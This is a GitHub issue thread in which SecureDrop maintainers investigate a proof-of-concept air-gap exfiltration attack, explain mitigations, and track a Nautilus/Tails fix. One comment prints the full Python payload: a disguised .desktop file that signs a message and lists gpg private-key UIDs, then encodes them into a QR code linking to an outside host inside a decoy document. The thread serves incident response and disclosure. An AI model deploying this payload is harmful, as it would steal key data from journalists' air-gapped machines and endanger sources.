New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Investigate potential attempt to compromise SVS #2238

Closed
garrettr opened this Issue Sep 1, 2017 · 13 comments

Comments

Projects
None yet
4 participants
@garrettr
Contributor

garrettr commented Sep 1, 2017

Kevin Poulsen just tweeted a snippet of code that he says he received on his SecureDrop. The code snippet is incomplete, but it appears to be an attempt to exfiltrate sensitive data from the airgapped Secure Viewing Station (SVS).

Normally we would prefer to discuss potential security issues privately, in order to develop and deploy a fix without encouraging potential exploitation in case this really is a security vulnerability. In this case, the cat's out of the bag thanks the issue being reported publicly on Twitter, so we feel it's best to discuss it on an open forum in the interest of transparency.

@redshiftzero

This comment has been minimized.

Show comment
Hide comment
@redshiftzero

redshiftzero Sep 1, 2017

Contributor

Full code is here: https://twitter.com/kpoulsen/status/903419596664840192

This appears to be a .desktop file that when opened will generate a QR code (that will open in LibreOffice Writer) containing a link to an attacker-controller site with an identifying string for the SecureDrop instance in question along with a message signed with the SecureDrop submission key.

Journalists may be tricked into scanning the QR code with an internet-connected device, such as a phone.

We are immediately notifying all administrators of these attacks in the wild to instruct all journalists never to scan QR codes with internet-connected devices.

More to follow.

Contributor

redshiftzero commented Sep 1, 2017

Full code is here: https://twitter.com/kpoulsen/status/903419596664840192

This appears to be a .desktop file that when opened will generate a QR code (that will open in LibreOffice Writer) containing a link to an attacker-controller site with an identifying string for the SecureDrop instance in question along with a message signed with the SecureDrop submission key.

Journalists may be tricked into scanning the QR code with an internet-connected device, such as a phone.

We are immediately notifying all administrators of these attacks in the wild to instruct all journalists never to scan QR codes with internet-connected devices.

More to follow.

@redshiftzero

This comment has been minimized.

Show comment
Hide comment
@redshiftzero

This comment has been minimized.

Show comment
Hide comment
@redshiftzero

redshiftzero Sep 1, 2017

Contributor

Now that everyone has been notified, here's a little more information and some initial options going forward.

Attack Summary

This attack is a .desktop file (with MIME type application-vnd.openxmlformats-officedocument.wordprocessingml.document) submitted through SecureDrop that when decrypted on the Secure Viewing Station and clicked will execute Python code that:

  1. Signs a message "Hello from the other side of the airgap" with the submission key
  2. Creates a QR code containing a URL with the signed message, the key and UIDs of private keys available on the SVS, along with a (presumably) unique ID for the SecureDrop instance passed in the URL so they can be recorded by the server referenced in the code.
  3. Removes and replaces the original .desktop file with a new info.doc, then opened in LibreOffice Writer. This file contains the QR code, an email address, and a message to encourage journalists to scan the URL ("Password to the attached file can be found at the URL below").
  4. At this point, a journalist would need to use an internet connected device to scan the QR code, and visit the URL in it (or use an app that automatically visits URLs in scanned QR codes). Journalists may realize they should not be removing data from the airgap in this way and the jig may be up at this point. However, many journalists may not realize this, and may visit the URL, which sends this data from the airgap back to the attacker.

It's worth noting that while the amount of data that can be exfiltrated in one QR code is limited, at least some private key material could be exfiltrated in this way. Note that this particular code did not exfiltrate private keys.

Mitigations

Technical

We have tried to reduce unnecessary passwords in SecureDrop, and given that the submission key was in an airgap environment protected by the Tails persistence passphrase for the Secure Viewing Station, a passphrase has not been required on the submission key. We should re-evaluate this in light of threats like this one.

Long term, we need to better control document handling and decryption in the SVS.

Training

We should train journalists of this threat and strongly discourage them from scanning QR codes using internet-connected devices (and provide stronger guidance regarding visiting any links provided in SecureDrop submissions).

We could also provide clearer guidance on the standard operating procedures to be used in the room hosting the SecureDrop viewing station - e.g. make sure that devices like phones do not enter.

Contributor

redshiftzero commented Sep 1, 2017

Now that everyone has been notified, here's a little more information and some initial options going forward.

Attack Summary

This attack is a .desktop file (with MIME type application-vnd.openxmlformats-officedocument.wordprocessingml.document) submitted through SecureDrop that when decrypted on the Secure Viewing Station and clicked will execute Python code that:

  1. Signs a message "Hello from the other side of the airgap" with the submission key
  2. Creates a QR code containing a URL with the signed message, the key and UIDs of private keys available on the SVS, along with a (presumably) unique ID for the SecureDrop instance passed in the URL so they can be recorded by the server referenced in the code.
  3. Removes and replaces the original .desktop file with a new info.doc, then opened in LibreOffice Writer. This file contains the QR code, an email address, and a message to encourage journalists to scan the URL ("Password to the attached file can be found at the URL below").
  4. At this point, a journalist would need to use an internet connected device to scan the QR code, and visit the URL in it (or use an app that automatically visits URLs in scanned QR codes). Journalists may realize they should not be removing data from the airgap in this way and the jig may be up at this point. However, many journalists may not realize this, and may visit the URL, which sends this data from the airgap back to the attacker.

It's worth noting that while the amount of data that can be exfiltrated in one QR code is limited, at least some private key material could be exfiltrated in this way. Note that this particular code did not exfiltrate private keys.

Mitigations

Technical

We have tried to reduce unnecessary passwords in SecureDrop, and given that the submission key was in an airgap environment protected by the Tails persistence passphrase for the Secure Viewing Station, a passphrase has not been required on the submission key. We should re-evaluate this in light of threats like this one.

Long term, we need to better control document handling and decryption in the SVS.

Training

We should train journalists of this threat and strongly discourage them from scanning QR codes using internet-connected devices (and provide stronger guidance regarding visiting any links provided in SecureDrop submissions).

We could also provide clearer guidance on the standard operating procedures to be used in the room hosting the SecureDrop viewing station - e.g. make sure that devices like phones do not enter.

@ghost

This comment has been minimized.

Show comment
Hide comment
@ghost

ghost Sep 1, 2017

For the record, the full code from https://twitter.com/kpoulsen/status/903419596664840192

import subprocess
import base64
import re
import os
import logging
 
import zlib
import pipes
import zipfile
from io import BytesIO
 
 
SITE_ID = "K1SK"
 
def replace_file_in_zip(zip_data, file_to_replace, new_contents):
    in_file = BytesIO(zip_data)
    in_file.seek(0)
 
    out_file = BytesIO()
 
    # create a temp copy of the archive without filename
    with zipfile.ZipFile(in_file, 'r') as zin:
        with zipfile.ZipFile(out_file, 'w', compression=zipfile.ZIP_DEFLATED) as zout:
            zout.comment = zin.comment # preserve the comment
            for item in zin.infolist():
                if item.filename != file_to_replace:
                    zout.writestr(item, zin.read(item.filename))
                else:
                    zout.writestr(item, new_contents)
 
    return out_file.getvalue()
 
def make_qr_code(data):
    qr_file = BytesIO()
    # img = qrcode.make(data)
    # print("made img")
 
    import qrcode
    qr = qrcode.QRCode(version=None)
    qr.add_data(data)
    qr.make(fit=True)
 
    img = qr.make_image()
    img.save(qr_file, "PNG")
    return qr_file.getvalue()
 
 
def try_command(command):
    try:
        return subprocess.check_output(command, shell="True")
    except Exception:
        logging.exception("Command error: ")
        return b""
 
 
def get_message_data():
    """
   Try read private key or system information
   """
    message = b""
    uid_list = try_command("gpg2 -K --with-colons | grep uid")
    uid_list = "\n".join(uid_list.splitlines()[:5])
    message += uid_list
    return message
 
 
def try_sign(message, is_tails_2=False):
    """Return signature or the raw message"""
    try:
        if is_tails_2:
            # This may raise a password prompt, but gpg1-agent shares decrypt and sign
            return try_command("echo -n {message} | gpg -b --batch".format(message=pipes.quote(message)))
        else:
            return try_command("echo -n {message} | gpg -b --pinentry error".format(message=pipes.quote(message)))
    except Exception:
        logging.exception("Signing error:")
        return message
 
def check_tails_2():
    try:
        with open("/etc/os-release") as release_file:
            release_data = release_file.read()
            if "Tails" in release_data and "\"2." in release_data:
                return True
    except Exception:
        pass
    return False
 
 
# Find the desktop file and replace it with the decoy
desktop_filename = os.environ["GIO_LAUNCHED_DESKTOP_FILE"]
current_dir = os.path.dirname(desktop_filename)
 
with open(desktop_filename, "r") as desktop_file:
    desktop_data = desktop_file.read()
 
# Extract the file name and decoy file data from the .desktop file
display_name = re.search(r"^Name=(.*)$", desktop_data, re.MULTILINE).group(1)
decoy_data_b64 = re.search(r"^Resource=([\s\S]*)$", desktop_data, re.MULTILINE).group(1)
decoy_data = base64.b64decode(decoy_data_b64)
 
is_tails_2 = check_tails_2()
 
# Create new QR code and replace image in decoy doc.
exfil_data = ""
exfil_data += try_sign("Hello from the other side of the airgap", is_tails_2)
exfil_data += get_message_data()
 
exfil_data = zlib.compress(exfil_data)
exfil_data = base64.b64encode(exfil_data)
 
root_url = "https://donncha.is/passwords"
 
try:
    qr_code = make_qr_code("{}/{}/{}".format(root_url, SITE_ID, exfil_data))
    decoy_data = replace_file_in_zip(decoy_data, "Pictures/10000200000000FF000000FFBE684296D80C1F65.png", qr_code)
except Exception:
    logging.exception("QR error:" )
 
# Save the decoy file with the same name as the Desktop name
final_filename = os.path.join(current_dir, display_name)
with open(final_filename, "w") as decoy_file:
    decoy_file.write(decoy_data)
 
# Remove the original .desktop file
os.remove(desktop_filename)
 
# Do something with the decoy file
subprocess.Popen(["libreoffice", final_filename])

ghost commented Sep 1, 2017

For the record, the full code from https://twitter.com/kpoulsen/status/903419596664840192

import subprocess
import base64
import re
import os
import logging
 
import zlib
import pipes
import zipfile
from io import BytesIO
 
 
SITE_ID = "K1SK"
 
def replace_file_in_zip(zip_data, file_to_replace, new_contents):
    in_file = BytesIO(zip_data)
    in_file.seek(0)
 
    out_file = BytesIO()
 
    # create a temp copy of the archive without filename
    with zipfile.ZipFile(in_file, 'r') as zin:
        with zipfile.ZipFile(out_file, 'w', compression=zipfile.ZIP_DEFLATED) as zout:
            zout.comment = zin.comment # preserve the comment
            for item in zin.infolist():
                if item.filename != file_to_replace:
                    zout.writestr(item, zin.read(item.filename))
                else:
                    zout.writestr(item, new_contents)
 
    return out_file.getvalue()
 
def make_qr_code(data):
    qr_file = BytesIO()
    # img = qrcode.make(data)
    # print("made img")
 
    import qrcode
    qr = qrcode.QRCode(version=None)
    qr.add_data(data)
    qr.make(fit=True)
 
    img = qr.make_image()
    img.save(qr_file, "PNG")
    return qr_file.getvalue()
 
 
def try_command(command):
    try:
        return subprocess.check_output(command, shell="True")
    except Exception:
        logging.exception("Command error: ")
        return b""
 
 
def get_message_data():
    """
   Try read private key or system information
   """
    message = b""
    uid_list = try_command("gpg2 -K --with-colons | grep uid")
    uid_list = "\n".join(uid_list.splitlines()[:5])
    message += uid_list
    return message
 
 
def try_sign(message, is_tails_2=False):
    """Return signature or the raw message"""
    try:
        if is_tails_2:
            # This may raise a password prompt, but gpg1-agent shares decrypt and sign
            return try_command("echo -n {message} | gpg -b --batch".format(message=pipes.quote(message)))
        else:
            return try_command("echo -n {message} | gpg -b --pinentry error".format(message=pipes.quote(message)))
    except Exception:
        logging.exception("Signing error:")
        return message
 
def check_tails_2():
    try:
        with open("/etc/os-release") as release_file:
            release_data = release_file.read()
            if "Tails" in release_data and "\"2." in release_data:
                return True
    except Exception:
        pass
    return False
 
 
# Find the desktop file and replace it with the decoy
desktop_filename = os.environ["GIO_LAUNCHED_DESKTOP_FILE"]
current_dir = os.path.dirname(desktop_filename)
 
with open(desktop_filename, "r") as desktop_file:
    desktop_data = desktop_file.read()
 
# Extract the file name and decoy file data from the .desktop file
display_name = re.search(r"^Name=(.*)$", desktop_data, re.MULTILINE).group(1)
decoy_data_b64 = re.search(r"^Resource=([\s\S]*)$", desktop_data, re.MULTILINE).group(1)
decoy_data = base64.b64decode(decoy_data_b64)
 
is_tails_2 = check_tails_2()
 
# Create new QR code and replace image in decoy doc.
exfil_data = ""
exfil_data += try_sign("Hello from the other side of the airgap", is_tails_2)
exfil_data += get_message_data()
 
exfil_data = zlib.compress(exfil_data)
exfil_data = base64.b64encode(exfil_data)
 
root_url = "https://donncha.is/passwords"
 
try:
    qr_code = make_qr_code("{}/{}/{}".format(root_url, SITE_ID, exfil_data))
    decoy_data = replace_file_in_zip(decoy_data, "Pictures/10000200000000FF000000FFBE684296D80C1F65.png", qr_code)
except Exception:
    logging.exception("QR error:" )
 
# Save the decoy file with the same name as the Desktop name
final_filename = os.path.join(current_dir, display_name)
with open(final_filename, "w") as decoy_file:
    decoy_file.write(decoy_data)
 
# Remove the original .desktop file
os.remove(desktop_filename)
 
# Do something with the decoy file
subprocess.Popen(["libreoffice", final_filename])
@runasand

This comment has been minimized.

Show comment
Hide comment
@runasand

runasand Sep 1, 2017

Contributor

Has anyone reached out to @DonnchaC about this?

Contributor

runasand commented Sep 1, 2017

Has anyone reached out to @DonnchaC about this?

@DonnchaC

This comment has been minimized.

Show comment
Hide comment
@DonnchaC

DonnchaC Sep 1, 2017

Contributor

I'd like to apologize for the stress and trouble that I have caused the SecureDrop team and SecureDrop operators by these's issues being dropped in public It was reckless of me to send such a payload to in-the-wild production SecureDrop systems.

With the proof-of-concept I made an effort to demonstrate the real-world threat of air-gap jumping attacks while trying to avoid leaking sensitive information such as private keys. It should be easy to understand the actions and impact of the proof-of-concept Python script. I'd be happy to help anyone who has questions about the proof-of-concept or the risk of air jumping attacks in general. I can be contacted on email at donncha@donncha.is.

I care deeply about information security and source protection. I have volunteered on SecureDrop in the past and I would like to see it become the strongest system possible for protecting sources and their information. Again I'd like to apologies for any hurt and harm caused. I hope that we can work together to improve these tools and procedures so that they are safer for users in the future.

Contributor

DonnchaC commented Sep 1, 2017

I'd like to apologize for the stress and trouble that I have caused the SecureDrop team and SecureDrop operators by these's issues being dropped in public It was reckless of me to send such a payload to in-the-wild production SecureDrop systems.

With the proof-of-concept I made an effort to demonstrate the real-world threat of air-gap jumping attacks while trying to avoid leaking sensitive information such as private keys. It should be easy to understand the actions and impact of the proof-of-concept Python script. I'd be happy to help anyone who has questions about the proof-of-concept or the risk of air jumping attacks in general. I can be contacted on email at donncha@donncha.is.

I care deeply about information security and source protection. I have volunteered on SecureDrop in the past and I would like to see it become the strongest system possible for protecting sources and their information. Again I'd like to apologies for any hurt and harm caused. I hope that we can work together to improve these tools and procedures so that they are safer for users in the future.

@DonnchaC

This comment has been minimized.

Show comment
Hide comment
@DonnchaC

DonnchaC Sep 1, 2017

Contributor

I've opened a ticket on the Tails bug tracker to get the Nautilus .desktop issue fix backported for the current Tails release. https://labs.riseup.net/code/issues/14584

Contributor

DonnchaC commented Sep 1, 2017

I've opened a ticket on the Tails bug tracker to get the Nautilus .desktop issue fix backported for the current Tails release. https://labs.riseup.net/code/issues/14584

@redshiftzero

This comment has been minimized.

Show comment
Hide comment
@redshiftzero

redshiftzero Sep 1, 2017

Contributor

Thank you @DonnchaC for filing that bug upstream with Tails and for your assistance in incident response. While the way this unfolded was unfortunate, your work to improve SecureDrop is appreciated.

At this point all impacted SecureDrop instances have been contacted and we are working with them as necessary to do incident response. If you are a SecureDrop administrator and you have for some reason not heard from us about next steps and want assistance with incident response, please use our support portal to get in contact with us.

In the future, we strongly encourage security researchers to send any security issues via our Bugcrowd program or via PGP-encrypted email at securedrop@freedom.press using the fingerprint 734F 6E70 7434 ECA6 C007 E1AE 82BD 6C96 16DA BB79. In response to this incident, we will be publishing guidelines on ethical security research on SecureDrop in the coming week.

For SecureDrop administrators and journalists, information about suspected ongoing attacks should be sent to us through our support portal or via PGP-encrypted email at securedrop@freedom.press (fingerprint above) instead of Twitter or other public forums.

Contributor

redshiftzero commented Sep 1, 2017

Thank you @DonnchaC for filing that bug upstream with Tails and for your assistance in incident response. While the way this unfolded was unfortunate, your work to improve SecureDrop is appreciated.

At this point all impacted SecureDrop instances have been contacted and we are working with them as necessary to do incident response. If you are a SecureDrop administrator and you have for some reason not heard from us about next steps and want assistance with incident response, please use our support portal to get in contact with us.

In the future, we strongly encourage security researchers to send any security issues via our Bugcrowd program or via PGP-encrypted email at securedrop@freedom.press using the fingerprint 734F 6E70 7434 ECA6 C007 E1AE 82BD 6C96 16DA BB79. In response to this incident, we will be publishing guidelines on ethical security research on SecureDrop in the coming week.

For SecureDrop administrators and journalists, information about suspected ongoing attacks should be sent to us through our support portal or via PGP-encrypted email at securedrop@freedom.press (fingerprint above) instead of Twitter or other public forums.

@redshiftzero

This comment has been minimized.

Show comment
Hide comment
@redshiftzero

redshiftzero Sep 2, 2017

Contributor

FYI for anyone tracking the progress of backporting the Nautilus fix for malware hiding in .desktop files, follow: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=860268

Contributor

redshiftzero commented Sep 2, 2017

FYI for anyone tracking the progress of backporting the Nautilus fix for malware hiding in .desktop files, follow: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=860268

@DonnchaC

This comment has been minimized.

Show comment
Hide comment
@DonnchaC

DonnchaC Oct 11, 2017

Contributor

The .desktop file fix has now been released as a Nautilus security update for Debian Stretch. It should be included in Tails release 3.3 which is scheduled for November 16th.

Contributor

DonnchaC commented Oct 11, 2017

The .desktop file fix has now been released as a Nautilus security update for Debian Stretch. It should be included in Tails release 3.3 which is scheduled for November 16th.

@redshiftzero

This comment has been minimized.

Show comment
Hide comment
@redshiftzero

redshiftzero Oct 11, 2017

Contributor

Thanks for updating this issue @DonnchaC - we'll send out a reminder to all administrators to upgrade Tails devices upon release of the .desktop Nautilus fix in Tails.

Contributor

redshiftzero commented Oct 11, 2017

Thanks for updating this issue @DonnchaC - we'll send out a reminder to all administrators to upgrade Tails devices upon release of the .desktop Nautilus fix in Tails.

@DonnchaC

This comment has been minimized.

Show comment
Hide comment
@DonnchaC

DonnchaC Nov 17, 2017

Contributor

Tails 3.3 was released on the 14th November and it includes the fix for the .desktop file security issue in Nautilus. The fix causes an issue with how the SecureDrop .desktop shortcuts are displayed (#2586).

Contributor

DonnchaC commented Nov 17, 2017

Tails 3.3 was released on the 14th November and it includes the fix for the .desktop file security issue in Nautilus. The fix causes an issue with how the SecureDrop .desktop shortcuts are displayed (#2586).

@redshiftzero

This comment has been minimized.

Show comment
Hide comment
@redshiftzero

redshiftzero Nov 29, 2017

Contributor

Fix for #2586 is merged in and we'll include a reminder to upgrade to latest Tails (3.3) in the release announcement for 0.5 next week. Closing!

Contributor

redshiftzero commented Nov 29, 2017

Fix for #2586 is merged in and we'll include a reminder to upgrade to latest Tails (3.3) in the release announcement for 0.5 next week. Closing!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment